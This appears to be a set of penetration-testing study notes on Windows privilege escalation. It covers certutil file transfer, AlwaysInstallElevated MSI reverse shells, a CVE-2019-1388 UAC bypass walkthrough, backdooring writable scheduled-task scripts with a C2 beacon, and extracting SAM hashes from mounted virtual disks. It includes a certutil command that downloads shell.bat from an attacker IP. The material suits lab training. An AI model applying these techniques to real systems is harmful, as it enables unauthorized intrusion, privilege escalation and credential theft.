githubEdit

Miscellaneous Techniques

Living Off The Land Binaries and Scripts (LOLBAS): try to use Microsoft-signed file with unusually method which this help to undetectable

Some interesting functionality may include:

Code execution

Code compilation

File transfers

Persistence

UAC bypass

Credential theft

Dumping process memory

Keylogging

Evasion

DLL hijacking


Certutil

certutil.exearrow-up-right, whose intended use is for handling certificates but can also be used to transfer files from attacker to victim machine by either downloading a file to disk or base64 encoding/decoding a file.

Transferring

PS C:\htb> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat

Encoding File

We can use the -encode flag to encode a file using base64 on our Windows attack host and copy the contents to a new file on the remote system. when we can’t move this file

C:\htb> certutil -encode file1 encodedfile

Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully

Decoding File

Once the new file has been created, we can use the -decode flag to decode the file back to its original contents.


Always Install Elevated

Always install with system privilege

Enumerating Always Install Elevated Settings

to discover if this options is enable or not

Our enumeration shows us that the AlwaysInstallElevated key exists, so the policy is indeed enabled on the target system.

Generating MSI Package

We can exploit this by generating a malicious MSI package and execute it via the command line to obtain a reverse shell with SYSTEM privileges.

Executing MSI Package

We can upload this MSI file to our target, start a Netcat listener and execute the file from the command line like so:


CVE-2019-1388

The issue was in the UAC mechanism, which allow user to take a system privilege

in certificate Dialog in windows if file signed with certificate has link in filed Issued By this link will appear as a hyperlink and when click it turn browser with system privilege

Exploit

First right click on the hhupd.exe executable and select Run as administrator from the menu.

2025-07-18 16_56_14-hhupd.png (1396×646) - Brave.png

Next, click on Show information about the publisher's certificate to open the certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the Details tab.

image.png

Next, we go back to the General tab and see that the Issued by field is populated with a hyperlink. Click on it and then click OK, and the certificate dialog will close, and a browser window will launch.

If we open Task Manager, we will see that the browser instance was launched as SYSTEM.

Next, we can right-click anywhere on the web page and choose View page source. Once the page source opens in another tab, right-click again and select Save as, and a Save As dialog box will open.

At this point, we can launch any program we would like as SYSTEM. Type c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have a cmd.exe instance running as SYSTEM.

Microsoft released a patcharrow-up-right for this issue in November of 2019. Still, as many organizations fall behind on patching, we should always check for this vulnerability if we gain GUI access to a potentially vulnerable system as a low-privilege user.


Scheduled Tasks

Enumerating Scheduled Tasks

We can use the schtasksarrow-up-right command to enumerate scheduled tasks on the system

Enumerating Scheduled Tasks with PowerShell

We can also enumerate scheduled tasks using the Get-ScheduledTaskarrow-up-right PowerShell cmdlet.

we can only see tasks created by our user and default scheduled tasks that every Windows operating system has. Unfortunately, we cannot list out scheduled tasks created by other users (such as admins) because they are stored in C:\Windows\System32\Tasks

Checking Permissions on C:\Scripts Directory

we notice a writeable C:\Scripts directory that we overlooked in our initial enumeration.

We notice various scripts in this directory, such as db-backup.ps1, mailbox-backup.ps1, etc., which are also all writeable by the BUILTIN\USERS group. At this point, we can append a snippet of code to one of these files with the assumption that at least one of these runs on a daily, if not more frequent, basis. We write a command to send a beacon back to our C2 infrastructure and carry on with testing. The next morning when we log on, we notice a single beacon as NT AUTHORITY\SYSTEM on the DB01 host.


User/Computer Description Field

Though more common in Active Directory, it is possible for a sysadmin to store account details (such as a password) in a computer or user's account description field. We can enumerate this quickly for local users using the Get-LocalUserarrow-up-right cmdlet.


Mount VHDX/VMDK

https://github.com/SnaffCon/Snafflerarrow-up-right

can help us to find credential, sensitive files and more

Three specific file types of interest are .vhd, .vhdx, and .vmdk files. These are Virtual Hard Disk, Virtual Hard Disk v2 (both used by Hyper-V), and Virtual Machine Disk (used by VMware). Let's assume that we land on a web server and have had no luck escalating privileges, so we resort to hunting through network shares. We come across a backups share hosting a variety of .VMDK and .VHDX files whose filenames match hostnames in the network. One of these files matches a host that we were unsuccessful in escalating privileges on, but it is key to our assessment because there is an Active Domain admin session. If we can escalate to SYSTEM, we can likely steal the user's NTLM password hash or Kerberos TGT ticket and take over the domain.

If we encounter any of these three files, we have options to mount them on either our local Linux or Windows attack boxes. If we can mount a share from our Linux attack box or copy over one of these files, we can mount them and explore the various operating system files and folders as if we were logged into them using the following commands.

Mount on Linux

VMDK

VHD/VHDX

In Windows, we can right-click on the file and choose Mount, or use the Disk Management utility to mount a .vhd or .vhdx file. If preferred, we can use the Mount-VHDarrow-up-right PowerShell cmdlet. Regardless of the method, once we do this, the virtual hard disk will appear as a lettered drive that we can then browse.

Retrieving Hashes using Secretsdump.py

Why do we care about a virtual hard drive (especially Windows)? If we can locate a backup of a live machine, we can access the C:\Windows\System32\Config directory and pull down the SAM, SECURITY and SYSTEM registry hives. We can then use a tool such as secretsdumparrow-up-right to extract the password hashes for local users.

Last updated